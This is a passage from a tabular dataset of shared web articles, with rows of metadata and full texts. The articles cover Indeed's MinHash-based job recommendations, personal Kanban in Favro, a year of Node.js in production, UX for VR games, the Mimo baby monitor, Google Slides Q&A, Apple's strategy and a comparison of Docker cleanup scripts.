jobs that their searches would not have uncovered. With recommendations driving 35% of Amazon sales and 75% of Netflix content views , it is clear they provide added value. Recommending jobs is significantly different than recommending products or movies. Here are just a few of the things we took into careful consideration as we built our engine: Rapid Inventory Growth: We aggregate millions of new jobs every day. The set of recommendable jobs is changing constantly. New Users: Millions of new job seekers visit our site every day and begin their job search. We want to be able to generate recommendations with very limited user data. Churn: The average lifespan of a job on Indeed is around 30 days. Content freshness matters a lot because the older the job, the more likely it is to have been filled. Limited Supply: One job posting is usually meant to hire one individual. This is different from books or movies, where as long as there is inventory it can be recommended to many users at the same time. If we over-recommend a job, we could bombard an employer with thousands of applications. How to approach recommendation algorithms Recommendations are a matching problem. Given a set of users and a set of items, we want to match users to their preferred items. There are two high-level approaches to this type of matching: content based and behavior based. They each have pros and cons, and there are also ways to combine them to take advantage of both techniques. Content-based approaches use data, such as user preferences and features of the items being recommended, to determine the best matches. For recommending jobs, using keywords of the job description to match keywords in a user's uploaded resume is one content-based approach. Using keywords in a job to find other similar-looking jobs is another way to implement content-based recommendations. Behavior-based approaches leverage user behavior to generate recommendations. They are domain-agnostic, meaning the same algorithms that work on music or movies can be applied to the jobs domain. Behavior-based approaches do suffer from a cold start problem. If you have little user activity, it is much harder to generate good quality recommendations. Mahout collaborative filtering We started by building a behavior-based recommendation engine because we wanted to leverage our existing job seeker traffic and click activity. Our first attempt at personalized recommendations was based on Apache Mahout's user-to-user collaborative filtering implementation. We fed clickstream data into a Mahout builder that ran in our Hadoop cluster and produced a map of users to recommended jobs. We built a new service to provide access to this model at runtime, and multiple client applications accessed this service to recommend jobs. MVP results and roadblocks As an MVP, the behavior-based recommendation engine showed us that it is important to start small and iterate. Building this system quickly, and getting it in front of users demonstrated that these recommendations were useful to job seekers. However, we quickly ran into several problems using Mahout on our traffic: The builder took around 18 hours on Indeed's 2013 click stream, which is about 3X smaller than present day. We could only run the builder once a day, which meant that new users joining each day wouldn't see recommendations until the next day. Millions of new jobs aggregated were not visible as recommendations until the builder ran again. The model we produced was a large map, which was around 50GB, and took several hours to copy over a WAN from the data center where it was built to our data centers around the globe. Mahout's implementation exposed a few tweakable parameters, like similarity thresholds. We could tweak the parameters of the algorithm, but we wanted the flexibility to test entirely different algorithms. Implementing MinHash for recommendations We addressed the most important problem first: the builder was too slow. We found that user-to-user similarity in Mahout is implemented by comparing every user to every other user in n ^2 time. For U.S.-only traffic (50 million UVs), this amounts to 15 * 10^15 comparisions, which is intractable. This calculation is also batch in nature. Adding a new user or a new click event requires recalculating all similarities. We realized that recommendations were an inexact problem. We were looking for ways to find the closest users to a given user, but we didn't need 100% accuracy. We looked for ways to approximate similarity without having to calculate it exactly. Principal contributor Dave Griffith came across MinHash from a Google News academic paper . MinHash, or minwise independent permutations, allows for approximating Jaccard similarity . Applying this measure to jobs on which two users have clicked, we see that the more jobs these two users have in common, the higher their Jaccard similarity. Calculating Jaccard similarity for all pairs of users is O(n ^2 ), and with MinHash, we can reduce this down to O(n). The MinHash of a set of items, given a hash function h1 , is defined as taking the hash of all items in that set using that hash function, and then taking the minimum of those values. A single hash function is not sufficient to approximate the Jaccard similarity because the variance is too high . We have to use a family of hash functions to reasonably approximate Jaccard distance. With a family of hash functions, MinHash can be used to implement personalized recommendations with tweakable Jaccard similarity thresholds. Mining Massive Datasets , a recent Coursera course from Stanford professors Leskovec, Rajaraman, and Ullman, explained MinHash in great detail. Chapter 3 (PDF) of their book, Mining Massive Datasets explains the mathematical proof behind MinHash. Our implementation of MinHash for recommendations involved the following three phases: Signature calculation/Cluster assignment Every job seeker is mapped to a set of h clusters, corresponding to a family of hash functions H (the following pseudocode shows this): Where H is a family of h hash functions. At the end of this step, each user is represented by a signature set, also known as a cluster consisting of h values. Cluster expansion Users who share the same signature are considered similar, and their jobs are cross recommended to each other. We therefore expand each cluster with all the jobs, from each user in that cluster. Recommendation generation To generate recommendations for a given user, we union all jobs from the h clusters that the user is in. We then remove any jobs that this user has already visited, to get the final set of recommended jobs. Recommending jobs to new users MinHash's mathematical properties allow us to address recommending jobs to new users, and recommending new jobs to all users. We update the MinHash signature for users incrementally as new clicks come in. We also maintain a map in memory of new jobs, and their MinHash clusters. By keeping these two pieces of data in memory, we are able to recommend jobs to new users after they click on a few jobs. As soon as any new jobs posted throughout the day receive clicks, they are recommended to users. After transitioning to MinHash, we had a hybrid recommendation model consisting of an offline component that builds daily in Hadoop, and an online component implemented in memcache, consisting of the current day's click activity. Both models are combined together to compute the final set of recommendations per user. The recommendations for each user became a lot more dynamic after we made this change because they would update as users clicked on jobs that interested them. With these changes, we learned that we could trade off a little bit of accuracy for a lot of performance. We also learned to complement a slower offline model with an online model for fresher results. The impact of engineering infrastructure The recommendation model that contained a map from each user to their recommendations was a large monolithic file. Because jobs are local to each country, we first attempted to shard our data into zones based on approximate geographic boundaries. Instead of running one builder for the entire world, we ran one builder per zone. Each zone consisted of multiple countries. As an example, the East Asian zone contains recommendations for China, Japan, Korea, Hong Kong, Taiwan, and India. Even after sharding, some of our zones produced data files that were too big and took hours to copy from our Austin Hadoop cluster over a WAN to a remote data center in Europe. To address this, we decided to ship recommendation data incrementally rather than once per day. We reused sequential write ahead logs and log structured merge trees to implement this. This was already validated in other large production applications at Indeed, like our document service. Instead of producing a large model file, we modified our builder to write small segments of recommendation data. Each segment file is written using sequential I/O and optimized for fast replication. These segments get reassembled into a log structured merge tree , in recommendation services running in remote data centers. This infrastructure change caused users to see their new recommendations hours faster in remote data centers. From our A/B testing of this change, we saw a 30% increase in clicks due to the fact that users got newer recommendations faster. This improvement demonstrated that engineering infrastructure improvements can make as much of an impact on metrics, as algorithm improvements. Improving A/B testing velocity Building out the pipeline to compute and update recommendations was only the beginning. To improve the coverage and quality of recommendations, we needed to increase our A/B testing velocity. We were making many decisions in the builder to tune the final set of recommendations. These decisions included similarity thresholds, the number of jobs to include in an individual's recommendations, and different ways to filter out poor quality recommendations. We wanted to tweak and optimize every aspect of computing recommendations, but to do so would require building and shipping a new model per algorithm tweak. Testing multiple improvement ideas meant many times more disk and memory usage on the servers that handled requests from users. We began to improve our A/B testing velocity by shipping the individual components of the recommendation calculation, rather than the final results. We changed the recommendation service to perform the final calculation, by combining the pieces together, instead of simply reading the model and returning results. Critical subcomponents of recommendations are cluster assignments per user, the mapping from each cluster to jobs in that cluster, and a blacklist for each user that contained jobs that should not be recommended for them. We modified our builder to produce these components and modified our service to put them together at request time to return the final list of recommendations. By implementing this architectural change, we only shipped subcomponents that changed per A/B test. For example, if the test only tweaked what jobs got removed from a user's recommendations, we would only ship the blacklist for the test group. This change improved A/B testing velocity by orders of magnitude. We were able to test and validate several ideas that improved the quality and coverage of recommendations in a short period of time. Previously, we averaged testing one improvement in the model every quarter because of the overhead in setting up our experiments. Our experience shows that A/B testing velocity should be considered when designing large machine learning systems. The faster you can get your ideas in front of users, the faster you can iterate on them. This post summarizes a series of algorithmic and architectural changes we made as we built our recommendation engine. We build software iteratively-we start with an MVP, learn from it, and improve it over time. As a result of these changes, job recommendations grew from a small MVP to contributing 14% of all clicks, up from 3% in early 2014. We continue to refine our recommendation engine. We are prototyping a model using Apache Spark , we are building an ensemble of models, and we are refining our optimization criteria to combat popularity bias . We thank Jack Humphrey and Mandy Grover for their help in writing this post.",en
1462399042,CONTENT SHARED,-5579492244806284582,3217014177234377440,-34277884544546034,,,,HTML,https://theagileist.wordpress.com/2016/05/03/personal-kanban-in-favro/,"[Tools] Personal Kanban in ""Favro""","I have used a set of text files to keep track of my work. This personal system have been in use for many, many years and it has really served me well! How this is used is maybe a topic for another blog post. However, I have been thinking of starting using an online Kanban tool for my work for quite some time, but I still haven't found what I'm looking for. Not until now. Personal Kanban in general There is a book called ""Personal Kanban"" by Jim Benson and Tonianne DeMaria Barry that pretty much tells everything there is to know about how to use Kanban on a personal level, focusing on two of Kanban's core practices: Visualize your work & Limit your work-in-progress (WIP). The book helps you get priority, productivity and efficiency into your work and personal life. If you want to know more you can visit this web site. Personal Kanban in Favro Finally I let go of my text files and took the step over to a visual tool, and I have chosen Favro . How did I end up with the board layout that you have seen in the picture above? Let me try to explain in a step by step tutorial. Collections Favro has something they call collection, basically it is an ""empty space"" where you can add other elements. This is how it looks right after you have created a collection. Board Let's create a board on the collection by using the ""(+)""-icon up in the left corner. First I added five columns, one for each day in a working week. This could be enough, depending on your needs. However, I have added two more columns: ""Next week(s)"" where I put work I don't complete during the week and ""Done"", where I move fully completed work. Backlog Favro has an element called Backlog that works as a list of things (cards) to do. From the backlogs, cards are moved onto boards. I have not used this feature that much myself, so I will leave it for now. Fast lane Sometimes you need to do urgent work (things that you don't have planned for in advance). To not ""mess up"" the regular planned work, I have added a ""Fast lane"". Note that there is only two columns in this board: ""Doing"" and ""Done"". Why? You should plan for urgent work and if the only work you do is urgent, you don't really have control over your situation and work load. Slow lane The opposite to the fast lane is the ""Slow lane"". Here you can have work you can do if you have time left. If work in the ""Slow lane"" doesn't get done, there is no big harm. The ""Personal Kanban""-collection is now complete to start using! Weekly planning - Meetings At the first day of the week I do my weekly planning. First I add all my meetings as cards in the ""Regular lane"". Why? Don't I have my meetings in the Calendar? Well, yes I do and I agree it can feel a bit cumbersome, but I want to see all the things that I have to do in a working day in a complete picture. Weekly planning - Activities / Tasks Now it is time to add all the activities / tasks that I know of to the ""Regular lane"". This is work I know I need to do during the week. My weekly planning is now complete! Will it change? You bet, but now I have an overview and first understanding of how the working week will look like. Tags As a side note, I also use Tags (""color coding"") to separate between different type of cards. Meeting have one color, my projects others and so on. Detailed planning / work breakdown Before I can do a task, I need to know in detail what to do (pretty obvious, right?). Sometimes I do this work breakdown as a first thing when I start a task, other times I start to think about the task some time before and add the breakdown when it comes to mind. I'm using two different ways for the detailed planning per task: description or task list. I mix between them, whichever suits the task at hand best. Card description I add the work breakdown as a description to the card. In Favro you can use a simple formatting to get headings, bullet lists and so on. Card tasklist The other way to add work breakdown is to use the tasklist function. Now you can for example add a ""To Do""-list to your card. You can check your tasks as you complete them to see the progress. Mid week update How should it look after Wednesday has passed? Hopefully you have completed some cards and put them in the ""Done""-column. Work not completed should be placed in the ""Next week(s)""-column to be addressed on the next weekly planning. After Friday all your ""Monday to Friday""-columns should be empty. Then on Monday it starts all over again with the weekly planning and new (or moved) cards are added. Note! I actually do my planning for the next week the last thing I do on Fridays, then I know exactly what to do when I get into the office on Monday (and I don't have to spend the weekend worrying on that). Navigate in many collections After a while, when you have used Favro for everything in your life the number of collections will grow. You can then mark your favorites with a star and they will end up as ""tabs"" at the bottom of the screen (you can see ""Personal Kanban"" as starred in the pictures above). Summary There you have it, my personal kanban in Favro. You don't use Favro? Why not? The principles for my personal kanban board can be used in other online tools as well, maybe not exactly the same but in similar ways. Will I go back to my text files to keep track of my work? No, I will never go back . All the best, Tomas from TheAgileist",en
1462403580,CONTENT SHARED,49177526672934036,8164031568920151381,-1677414002897092585,,,,HTML,http://geekforbrains.com/post/after-a-year-of-nodejs-in-production,After a year of using NodeJS in production,"This is a follow-up to my original ""Why I'm switching from Python to Node.js"" post. I wrote it just over a year ago in response to my frustrations with Python and why I was going to try Node instead. Fast-forward a year of in-house CLI tools, client projects and updates to our company's products and this is what I've learned. Not only about Node, but Javascript in general as well. Easy to learn, impossible to master Node is so easy to learn. Especially if you already know some Javascript. Google a few beginner tutorials, play with Express and you're off to the races, right? Then you realize you'll need to settle on a database. No problem, lets search NPM. Oh, theres a handful of decent SQL packages. Later you realize all the ORM tools suck and a basic driver is your best bet. Now you're stuck implementing redundant model and validation logic. Shortly after that, you start writing more complex queries and start getting lost in callbacks. Naturually you read about callback hell, chop down your christmas tree and start using one of the many promise libraries. Now you just ""Promisify"" all the things and grab a beer. All this to say that it feels like the Node ecosystem is constantly moving. Not in a good way. New tools that ""trump"" old tools seem to come out daily. Theres always a new shiny thing to replace the other. You'll be surprised on how easily this happens to you and the community seems to encourage it. You use Grunt!? Everyone uses Gulp!? Wait no, use native NPM scripts! Packages that consist of trivial code no more than 10 lines of code are downloaded in the thousands every day from NPM. Seriously!? You need a dependancy for array type checking? And these packages are used by some huge tools such as React and Babel. You'll never master something that moves at break-neck speed, not to mention the potential of dependancy instability. Good luck handling errors Coming from other languages such as Python, Ruby or PHP you'd expect throwing and catching errors, or even returning an error from a function would be a straightforward way of handling errors. Not so with Node. Instead, you get to pass your errors around in your callbacks (or promises) - thats right, no throwing of exceptions. This works until you're more than a few callbacks deep and trying to follow a stack trace. Not to mention if you forget to return your callback on an error, it continues to run and triggers another set of errors after you returned the initial one. You'll need to double your client invoices to makeup for debug time. Even if you do manage to come up with a solid standard for your own errors, you cant confirm (without reading the source) that the many of the NPM packages you have installed follow the same pattern. These issues have lead to the use of ""catchall"" exception handlers that can log an issue and allow your app to gracefully shit its pants. Remember, Node is single threaded. If something locks up the process, everything comes crashing down. But its cool, you're using Forever, Upstart and Monit right? Callbacks, promises or generators!? To handle callback-hell, error handling and general hard-to-read logic, more and more developers have started using Promises. These are basically a way to write what looks like synchronous code without crazy callback logic. Unfortunately, there isn't any one ""standard"" (like everything else in Javascript) for implementing or using Promises. The most notable library right now is Bluebird . Its quite good, fast and does a nice job of making things ""just work"". However, I find having to wrap my requirements in Promise.promisifyAll() extremely hacky. For the most part, I ended up using the excellent async library to keep my callbacks at bay. This felt more natural. Nearing the end of my expereince with Node, Generators become more popular. I never really ended up getting too deep into them and thus don't have much to give feedback on. Would love to hear someones experience with them. Bad standards The last thing that I found frustrating was the lack of standards. Everyone seems to have their own idea of how the above points should be handled. Callbacks? Promises? Error handling? Build scripts? Its endless. Thats just scratching the surface too. Nobody can seem to agree on how to write standard Javascript either. Just do a quick Google of ""Javascript Coding Standards"" and you'll see what I mean. I realize that many languages don't have a strict structure, but they DO usually have a standard guideline created by the actual maintainers of the language. The only one I thought was any good for Javascript is written by Mozilla . Final thoughts on Node I spent a year trying to make Javascript and more specifically Node work for our team. Unfortunately during that time we spent more hours chasing docs, coming up with standards, arguing about libraries and debugging trivial code more than anything. Would I recommend it for large-scale products? Absolutely not. Do people do that anyway? Of course they do. I tried to. I would however recommend Javascript for front-end development such as Angular or React (like you have another choice). I would also recommend Node for simple back-end servers mainly used for websockets or API relay. This can be done easily with Express and we do exactly that for our Quoterobot PDF processing server. Its a single file containing 186 lines of code including white space and comments. It does its job damn well too. Back to Python So you might be wondering, what am I doing now? For now, I'm still writing the major parts of our web products and API's using Python. Mainly in Flask or Django using either Postgres or MongoDb. Its stood the test of time, has some great standards, libraries, its easy to debug and performs very well. Sure it has its worts. Everything does when you start writing in it. For some reason Node managed to catch my eye and draw me in. I don't regret trying to embrace it, but I do feel like I wasted more time than I should have. I hope Javascript and Node improve in the future. I'd be happy to revisit it. Whats your experience? Have you run into similar issues that I did? Did you end up switching back to a more comfortable language?",en
1462408740,CONTENT SHARED,-6324550271415246022,-1578287561410088674,-5448625948814005462,,,,HTML,http://uxmag.com/articles/4-strategies-for-mastering-ux-in-virtual-reality-games,4 Strategies for Mastering UX in Virtual Reality Games,"For years, science fiction has showcased the wondrous potential of virtual reality, which in real life has let people down . From the Virtual Boy to VRML, the history of virtual reality is littered with technology that couldn't quite match the innovative ideas behind it, leaving a string of disappointments in its wake. But now, technology is finally catching up, not just with expensive, high-profile projects like the Oculus Rift and PlayStation VR, but also with devices we already carry around in our pockets: our smartphones . These high-resolution screens allow users to simply pop their phones into something like Google Cardboard or Samsung's Gear VR headset and suddenly immerse themselves in another world. At this past SXSW in Austin, Texas, those who purchased the newly released Samsung Galaxy 7 received the Samsung VR kit, which includes a headset that is a significant upgrade from the cardboard alternatives. Samsung is investing heavily in VR, and hosted numerous events during SXSW focusing specifically on VR applications. Corporations are already on board with this new virtual reality. In the past two years alone, more than $2 billion has been invested in VR . And with more companies throwing their hats into the ring , it doesn't look like the money will dry up any time soon. The real challenge, then, is convincing the public that now is finally the time for VR. While the devices themselves will do some of the work, the real key to success will be how customers react to the software installed on them - and that's where UX designers come in. A VR game is a completely different beast from creating a traditional console or PC game. The old-style ""window on a world"" video game won't cut it. Instead, VR applications will have to immerse the user in a fully rendered - and fully believable - 360-degree world. Because VR is such a different playing field, UX for virtual products has yet to be clearly defined. There are no paradigms, best practices, or mountains of user research for designers to tap into. How do you pause in a virtual world? How do you make an item menu seem natural without being overly cumbersome? How do you represent the player's own body? These details haven't been standardized, but will be necessary to address in order to engender broad user adoption. Some developers are solving this problem by going around it completely, creating entirely false virtual worlds where traditional rules of interaction can be rewritten. Others, like Rock Band VR , take existing concepts and push them to their next logical step. In this case, it takes pretend musicians and finally puts them into the pretend spotlight they've been clamoring for. Neither of these approaches is wrong, and neither is inherently right, either. VR is a brave new world for developers, but that also means it's a brave new world for users. People have specific frames of reference when it comes to interacting with computers and gaming consoles that can't just be tossed aside when putting on a VR helmet. The challenge will be figuring out how to strike a balance between new and old that will excite users without confounding them. To be successful (at least in the beginning, before the rules of the virtual world are set in stone), UX designers will need to take into account this inexperience with a new technology, using traditional controls and interfaces as the jumping-off point to introduce players to the beautiful possibilities of VR. Work UX into the game itself. In VR, the concept and the controls have to go hand in hand-the UX can't simply be set on top. A game like "" EVE: Valkyrie "" is an excellent example of a concept that lends itself perfectly to natural VR controls: Using a ship's displays as the controls, the game merges the virtual world with reality and gives users a cockpit that lets them look in all directions. Allow users to leave a game easily. An immersive experience can be like a waking dream, but that also means it can act as a nightmare. Don't underestimate the overwhelming nature of VR. Give users an easy out - whether through pausing the game or ""escaping"" to the menu - otherwise, they may not want to go back in. Balance immersion with ease of use. VR experiences have to walk a fine line between being informative and being immersive. For instance, in a game that has players acting as knights in medieval times, slaying dragons and rescuing princesses, it's odd to have big text covering the screen showing how much ""life"" players have left. Going too far with information will take the person out of the game, and going too far with immersion will make the game too difficult. The goal is to balance the two through patches and user testing to find that magical sweet spot. Go beyond the controller. Because users can't look down at their controllers, VR games need to factor in gesture- or voice-based commands that allow them the quick access to features they would have in a standard game. Thankfully, users will already be familiar with these new types of controls because of products like the Wii and Xbox Kinect. This is the perfect area to start pushing the limits of the controls without leaving users behind. In the near future, VR will be second nature and traditional controls will become virtually nonexistent. Soon, users will intuitively know how to move and act in a virtual world just as they do in the real world. By using the strategies outlined above, UX designers can take existing gaming models and slowly push at their boundaries, acclimating users to new realities without alienating them in the process. VR is a brave new world, and it's up to UX developers to help everyone navigate it.",en
1462416322,CONTENT SHARED,300937643051923212,-8132559109129514792,-5123017101495051608,,,,HTML,http://money.cnn.com/2015/04/16/smallbusiness/mimo-wearable-baby-monitor/index.html,Mimo baby monitor helps parents get more sleep,"Sleep. Important for newborns -- and one of the most precious things for new parents too. One startup is using wearable technology to help tired parents get a good night's rest. Boston-based Rest Devices, which launched in 2011, has developed a tech-enabled onesie, which tracks babies' breathing, body movements, sleep patterns and quality and transmits that information in real time to a smartphone app. The $199 Mimo kit includes three onsies, each with sensors embedded into the fabric. There's also a hard plastic shell on the onesie, into which you snap a plastic turtle-shaped device. The turtle is blue-tooth enabled and transmits data to the app. Parents can customize settings depending on their baby's age and where they are with the sleep training, said Dulcie Madden, co-founder of Rest Devices. ""They can set alerts for when the baby turns or rolls over, or when the baby awakes,"" said Madden. The hard plastic casing and turtle seem somewhat obtrusive (it's about one inch by one inch and protruding) -- and could inadvertently wake up sleeping infants if they roll over. Madden said early testing didn't find this to be a problem, even if babies were sleeping on their stomachs. At its core, Madden said Mimo aims to give parents peace of mind about their baby, although she acknowledges that there are tons of baby monitors that do the same thing. Mimo, she said, is using technology to kick things up a notch. ""Anecdotally, we've found that millennial parents like Mimo,"" she said. ""This could be because millennial consumers are more data-driven. Mimo gives them specific data insights about their child's sleeping behavior."" Over time, the data can help parents figure out how to improve their baby's sleep. ""They can also look at the past 10 days of data and see if they need to feed the baby closer to bedtime not, or if they're putting the baby down to sleep too late,"" Madden said. Madden said the app is pretty intuitive. ""Our goal is to make it as easy as possible,"" she said. All of Mimo's components -- from the organic cotton onesie to the electronics -- are made in Tennessee and in Boston. Although she wouldn't disclose sales figures, Madden said Rest Devices is on the cusp of becoming profitable. The startup has raised $3.3 million in funding and sells its kits in Babies R Us, Buy Buy Baby and on Amazon . What's next? A video component so parents can see their baby through the app, and ultimately, a slew of smart-tech products to create a connected nursery, said Madden. ""One example is a smart baby bottle warmer that knows when your baby is waking up and warms the milk just in time,"" she said. CNNMoney (New York) First published April 16, 2015: 6:13 PM ET",en
1462418320,CONTENT SHARED,-9055044275358686874,-1032019229384696495,7289550715879661168,,,,HTML,http://googleappsupdates.blogspot.com/2016/05/accept-questions-from-your-audience.html,Accept questions from your audience when presenting in Google Slides,"Any skilled presenter knows that an interactive presentation is often an effective presentation. Starting today, you can better engage your audience by allowing them to submit questions and vote on them during Google Slides presentations. To see the feature in action, check out this video in which Google Science Fair winner Shree Bose fields questions from a group of 200 middle school students. A few things to note: You can only use Slides Q&A if you have edit or comment access to that Slides presentation. By default, any user in your domain can submit a question. If your organization permits external sharing, you can allow external users to submit questions as well. For more information on how to accept, submit, and view audience questions in Google Slides, check out the Help Center . Bonus! Allowing your audience to ask questions isn't the only way we're improving the presentation experience on Slides today. We're also making the following possible: Use your mouse as a laser pointer in Slides on the web. Just choose the laser pointer option from the toolbar and move your mouse, and a red laser-like dot will appear in the same place on screen, helping your audience know where to look and when. In the Slides iOS app, present to a new Hangout or to a Hangout selected from a meeting on your Google Calendar. For more information, check out the Help Center . Launch Details Release track: Launching to both Rapid release and Scheduled release: All mobile features All audience features on mobile and desktop Launching to Rapid release, with Scheduled release coming in two weeks: Ability for a presenter to enable Q&A on desktop Rollout pace: Gradual rollout (potentially longer than 3 days for feature visibility) Action: Change management suggested/FYI More Information Note: all launches are applicable to all Google Apps editions unless otherwise noted Help Center: Ask and present audience questions Help Center: Present slides Google for Work Blog: Talk with your audience - not at them - with Slides Q&A Launch release calendar Launch detail categories Get these product update alerts by email Subscribe to the RSS feed of these updates",en
1462421595,CONTENT SHARED,3980405883168341377,-1032019229384696495,7289550715879661168,,,,HTML,http://mobile.nytimes.com/2016/05/05/technology/apple-set-to-move-to-its-spaceship-should-try-more-moonshots.html?referer=https://www.google.com/,"Apple, Set to Move to Its Spaceship, Should Try More Moonshots","Apple is running out of parking spaces. If you drop by its Infinite Loop headquarters, you will find the place stretched beyond capacity. Even the valets, who double and triple-park the Teslas and Porsches that now flock to the world's most valuable company, have given up finding free spots. People at Apple speak longingly of the company's new campus, Steve Jobs's $5 billion circular glass dream, which is scheduled to open next year . The Spaceship, as it is called, is almost ready. Soon Apple will slip the surly bonds of Earth, the strictures of time and space and be ready for launch. That was the plan, anyway. But in the last few months, after more than a decade of unprecedented growth, history was interrupted. Apple's last two earnings reports showed that it had finally hit a peak. Though Apple's profits remain the envy of the corporate world, a naysaying pessimism now surrounds everything it does. Three months ago, I said this view was too gloomy. Given the size of its customer base and the unlikely prospect of iPhone lovers switching to Android, Apple's short-term future looked O.K. "" No need to fret, Apple is doing fine ,"" I wrote. That is still true. Several analysts project that over the next year, Apple's iPhone sales will return to slow growth rather than decline, which should keep its bottom line at its current stratospheric level. But you don't build spaceship-shaped corporate monuments on the prospect of doing just fine. The deeper question is whether Apple can keep its place as the North Star of the tech firmament. Can the company build the next great platform in computing, as it did the last one? Are its best days ahead of it, as Timothy D. Cook, the chief executive, insists - or is the new campus the capstone of an era of Apple dominance that we will never see again? I will offer a suggestion. To thrive in the next era of tech, Apple needs to take a series of bigger, bolder risks. Apple's last decade and a half, mostly under Mr. Jobs, has been defined by perfectionist focus. As its executives and marketing videos repeatedly boast, Apple says no to a thousand ideas before it says yes to one . That attitude was perfectly suited to a particular era in tech - the rise of mobile devices, which were the ultimate expression of Apple's expertise in creating jewel-like hardware. But the next moment in tech is likely to be dominated by data-driven online services - more products like Siri and Apple Pay, fewer stand-alone hardware innovations like the iPhone. In that environment, the slow search for precision and perfection might no longer be in Apple's best interest. Mr. Cook's goal, now, should be to alter Apple's governing ethos to induce a small measure of chaos into his company. It is likely that Apple is already working on some bold plans in secret (a car and a pay TV service are among several that have long been reported). The shift I'm calling for would not be radical, just evolutionary. It should be more nimble and slightly more public with its experiments, and push more of them out sooner. When it releases stuff, it should move faster to fix and improve what is wrong. Above all, it should take more risks; it should say yes more often. These changes will be difficult because they could upset Apple's customer base and its brand. Experimenting more means failing more, usually in public. Failing means looking bad, and looking bad isn't something Apple does well. The news media is especially unkind to perceptions of ""failure"" from Apple. When Apple's Maps apps had flaws, it was considered headline news. (Never mind that Apple Maps is now much more popular than Google Maps with iPhone users.) The Apple Watch sold more units in its first year than the iPhone did - but because the watch was far from perfect, and it hasn't yet become a must-have new gadget, it's widely derided as a whiff. Still, for Apple, a more freewheeling attitude, one that pushes it to put out more experimental products, could be worth the risk. W e're in an odd time in tech . There are lots of new technologies pegged as potential next big things - artificial intelligence, virtual reality, drones, wearables, the Internet of Things - but figuring out how all these pieces should fit together to create experiences people love necessarily involves experimentation. In this environment, the best new products are not likely to be obvious. They will most likely be ridiculed at first and they may actually be kind of useless in early versions. But over time, with brainstorming and updates based on consumer feedback, you might discover something precious. A good example here is the Amazon Echo, the voice-recognizing household computer that has morphed from an odd gimmick into a useful and groundbreaking example of the future of computing. And it seems no accident that the Echo - like Amazon's successful cloud business and its Prime subscription service, both unlikely ideas - were birthed from a company whose chief executive has embraced risk and failure as a signal measure of corporate health. ""I believe we are the best place in the world to fail (we have plenty of practice!), and failure and invention are inseparable twins,"" that chief executive, Jeff Bezos, wrote in a recent letter to shareholders . He added: ""Most large organizations embrace the idea of invention, but are not willing to suffer the string of failed experiments necessary to get there."" Apple has accumulated many of the pieces to create technologies of the future. It has expertise in voice recognition, data mining, wearables, and of course, hardware and software design. Most importantly, it also has a huge installed base of users who willingly try its newest products. What it doesn't have quite yet is enough of an appetite for the speed and risks that come with creating and maintaining new services. Some of its sins here have been unforgivable. Siri was one of the earliest voice-recognition technologies released to the public. It wasn't perfect when it came out and Apple has made slow improvements over time. Today's Siri is vastly more powerful than yesterday's. But it still feels like a missed opportunity. There is so much Siri should be able to do that it cannot. Why can't Siri plug into more parts of my phone? Why can't it tap into the Uber app to call a car for me, or start up HBO Now when I say, ""Hey, show me last week's 'Game of Thrones'?"" Ben Thompson, who writes at the site Stratechery, recently cited a similar litany of shortcomings in Apple's services - among them the App Store, iMessage, Apple Pay and Apple Music. Mr. Thompson said that Apple's unusual functional organizational structure - in which executives are in charge of certain business functions, like engineering or marketing, and not product lines - worked better for creating hardware products than compelling online services. I'm not sure I quite buy Mr. Thompson's thesis about the cause of some of Apple's mistakes in its online services. It is not clear that Apple needs a wholesale restructuring rather than simply a greater push from Mr. Cook to be bolder in these products. It is important to note, too, that Apple has very patient customers and that the overall value of its ecosystem often makes up for particular deficits in some of its services. Consider Apple Music, a subscription music service that offered no great improvements over competing services like Spotify. Yet despite being late to market and not as pleasant to use as rivals, Apple Music has snapped up 13 million subscribers paying $120 a year. ""It's already become a $2 billion business, and it did not exist last year,"" said Kulbinder Garcha, an analyst at Credit Suisse who has said that Apple can realize significant growth in its profits by creating and improving online services. If Apple moves quickly to fix some of the problems with Apple Music - cleaning up its user interface, adding handy features like Spotify's in-app lyrics browser - it could easily build on that early growth. ""These things don't have to be a hit from day one, but what's important is that they keep learning from their mistakes and keep updating them,"" Mr. Garcha said. In other words, Be faster, take more risks, go bold.",en
1462445087,CONTENT SHARED,-2208293144000550811,-8020832670974472349,6996799014381083176,,,,HTML,https://www.brianchristner.io/docker-cleanup-script-comparison/,Docker Cleanup Scripts Comparison,"If you've used Docker for any length of time you most likely have left a trail of unused (dangling) Docker images and containers in your dust. Abandoned images and containers are not necessarily a bad thing but starts becoming more of a housekeeping/administrative tasks to purge items which are not in use. Before we get started I have to throw a disclaimer as these scripts will delete images and containers and possibly running containers. Be sure to test these scripts before running in production and that your Docker installation meets their requirements I cherry picked GitHub for the scripts with the most amount of GitHub Stars. Since we are deleting things I want a vote of confidence from the community. I selected scripts with a high number of stars. It is also important to point that I highlighter which scripts contain a dry run option because we want to make sure we have the right flags set before nuking your containers. Docker Cleanup Scripts Spotify Docker Garbage Collection (1,320 GitHub Stars) - The Spotify team released this utility a little over 2 years ago. This a production tried and tested script used by a lot of Docker users. A unique feature of this script is you can run it either as a container or as a cron job on the Docker Host. Script has a Dry Run Option Docker-Clean (204 GitHub Stars) - This script actually made it to the front page of HN not so long ago which is quite impressive alone. I sent a feature request to add network cleanup option and it was implemented before I could finish my coffee. This is a great all-rounder script! Script has a Dry Run Option Tutum Cloud Cleanup (70 GitHub Stars) - This is a very basic script which only removes images. It has three options: Time between cleans, how long to wait before a image is marked stale, and exclusion list. No Dry Run Flag available Docker Cleanup Volumes (817 GitHub Stars) - Does exactly as advertised and handles volumes only. This will nuke any orphaned volume still dangling around. Script has a Dry Run Option Docker-Cleanup (160 GitHub Stars) - This script is a combination of the Tutum Cleanup and Docker Cleanup volumes scripts. The script uses Environment variables instead of flags which is handy to change settings since this runs in a container. Script has a Dry Run Option I used the Spotify Garbage collection script for awhile before finding the docker-clean script. The Docker-Clean script checks all the boxes for me. The only thing that you may need is something to manage cleaning volumes which Docker Cleanup Volumes handles. But before you try anything be sure to run these script in a test environment with non-production data. You've been warned. Happy cleaning.",en
